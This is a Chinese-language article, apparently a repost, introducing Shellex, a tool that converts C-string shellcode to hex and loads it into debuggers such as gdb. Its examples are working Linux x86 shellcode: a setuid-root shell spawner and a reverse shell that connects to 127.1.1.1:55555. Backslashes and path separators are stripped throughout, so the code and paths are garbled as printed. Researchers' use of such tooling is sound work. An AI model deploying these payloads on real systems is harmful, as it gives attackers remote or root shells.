Shellex
Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。
在Shellex的帮助下,广大研究人员可以将C-shellcode代码转换为十六进制代码,并且还可以在C编译器中编译时进行转换,整个过程只需要执行Shellex,并将shellcode代码拷贝进去并按下回车键即可。
比如说,我们可以转换多行混合了ASCII代码的C-shellcode(注意混合部分x68//shx68/binx89):
"x6ax17x58x31xdbxcdx80"
"x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80"
Shellex输出如下:
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
转换包含注释代码的C-shellcode:
"x68"
"x7fx01x01x01" // <- IP: 127.1.1.1
"x5ex66x68"
"xd9x03" // <- Port: 55555
"x5fx6ax66x58x99x6ax01x5bx52x53x6ax02"
"x89xe1xcdx80x93x59xb0x3fxcdx80x49x79"
"xf9xb0x66x56x66x57x66x6ax02x89xe1x6a"
"x10x51x53x89xe1xcdx80xb0x0bx52x68x2f"
"x2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"xebxce"
Shellex输出如下:
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
如果你需要Shellex输出新的C-shellcode字符串,可以使用-h参数,比如说:
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
x6Ax17x58x31xDBxCDx80x6Ax0Bx58x99x52x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x52x53x89xE1xCDx80
Shellex安装
首先,广大研究人员需要使用下列代码将该项目源码克隆至本地:
git clone https://github.com/David-Reguera-Garcia-Dreg/shellex.git
针对Windows:
shellexbinsshellex.exe
针对Linux:
sudo apt-get install tcc
shellex/linuxbins/shellex
在gdb中复制和执行shellcode
首先,我们需要运行Shellex。
接下来,输入我们的shellcode:
"x6ax17x58x31xdbxcdx80"
"x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80"
按下回车键后,再按下Control+D键。
使用shellex -h命令将Shellex输出转换为C-Hex字符串:
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
将C-Hex字符串以源码形式(包含“echo”命令)写入至文件:
echo -ne "x6Ax17x58x31xDBxCDx80x6Ax0Bx58x99x52x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x52x53x89xE1xCDx80" > /tmp/sc
接下来,将源码文件写入当前指令指针。
32位:
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip
64位:
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip
x/30b是shellcode的字节大小,我们可以使用下列命令获取到大小值:
wc -c /tmp/sc
x/15i是显示的指令数量,我们可以使用ndisasm获取正确的数量:
sudo apt-get install nasm
32位:
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l
64位:
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l
无交互模式
在Linux中转换“x6ax17x58x31xdbxcdx80”:
echo ""\x6a\x17\x58\x31\xdb\xcd\x80"" | shellex
在Windows中转换“x6ax17x58x31xdbxcdx80”:
echo "x6ax17x58x31xdbxcdx80" | shellex.exe
Windows下写入多行文件:
C:UsersDregDesktopshellexbins>type sc.txt
"x6ax17x58x31xdbxcdx80"
"x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80"
C:UsersDregDesktopshellexbins>type sc.txt | shellex.exe
Linux下写入多行文件:
dreg@fr33project# cat sc.txt
"x6ax17x58x31xdbxcdx80"
"x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80"
dreg@fr33project# cat sc.txt | shellex
项目地址
Shellex:https://github.com/David-Reguera-Garcia-Dreg/shellex
本文始发于微信公众号(盾山实验室):Shellex:针对shellcode的转换与处理工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论